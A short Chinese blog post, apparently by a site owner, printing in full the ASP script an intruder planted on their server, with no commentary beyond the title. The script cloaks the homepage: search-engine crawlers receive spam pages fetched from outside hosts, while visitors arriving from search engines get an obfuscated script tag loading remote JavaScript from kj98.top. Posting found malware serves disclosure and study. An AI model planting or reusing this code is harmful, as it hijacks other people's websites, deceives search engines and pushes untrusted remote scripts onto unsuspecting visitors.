黑客黑进我的系统写的asp代码

2016-11-01 09:54:43  访问(1564) 赞(0) 踩(0)

<%



function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao")
isspider= false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function


function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao")
for i=0 to ubound(searray)
 if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function

function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.")
for i=0 to ubound(pagearray)
 if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function

function gethttp(url)
  dim http
  set http=createobject("MSXML2.XMLHTTP")
  Http.open "GET",url,false
  Http.send()
  if Http.readystate<>4 then
    exit function
  end if
  gethttp=bytes2BSTR(Http.responseBody)
  set http=nothing
  if err.number<>0 then err.Clear
end function

function bytes2BSTR(vIn)
  dim strReturn
  dim i,ThisCharCode,NextCharCode
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
  strReturn = strReturn & Chr(ThisCharCode)
  Else
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  i = i + 1
  End If
  Next
  bytes2BSTR = strReturn
End function


if isspider() and mainpage() then
  dim mfso,mfileurl,mfilecon,wfile,htmls,stitle,remotehtml,bodyurl
  
  bodyurl="http://www.123kk.top/6qi.txt"
 
    remotehtml=gethttp(bodyurl)

  stitle =remotehtml

	
  Set mfso=Server.CreateObject("Scripting.FileSystemObject") 
 
   
    mfilecon=gethttp("http://www.kj98.top/asp1/1003.htm")
    htmls=replace(mfilecon,"{期数}",stitle)
    response.clear
    response.write(htmls)
    response.write("<!--"&now()&"-->")
    response.flush
    Set wfile=Nothing 
    Set mfso=Nothing
    response.end

end if

if (fromse() and mainpage()) then
  response.clear
response.write("<scri"&"pt lang"&"uage='jav"&"as"&"cri"&"pt' src='h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"kj98"&"."&"top"&"/j"&"s"&"/"&"333"&"."&"js'></sc"&"ript><br/>")
  response.flush
  response.end
end if
%>
<% response.Redirect("Default.aspx")%>


标签:黑客黑进我的系统写的asp代码 

上一条:

下一条:


 

相关评论

评论加载中……
 

发表评论

类型:
内容:
  (Alt+Enter)
 
  ┈全部┈  
 
(显示默认分类)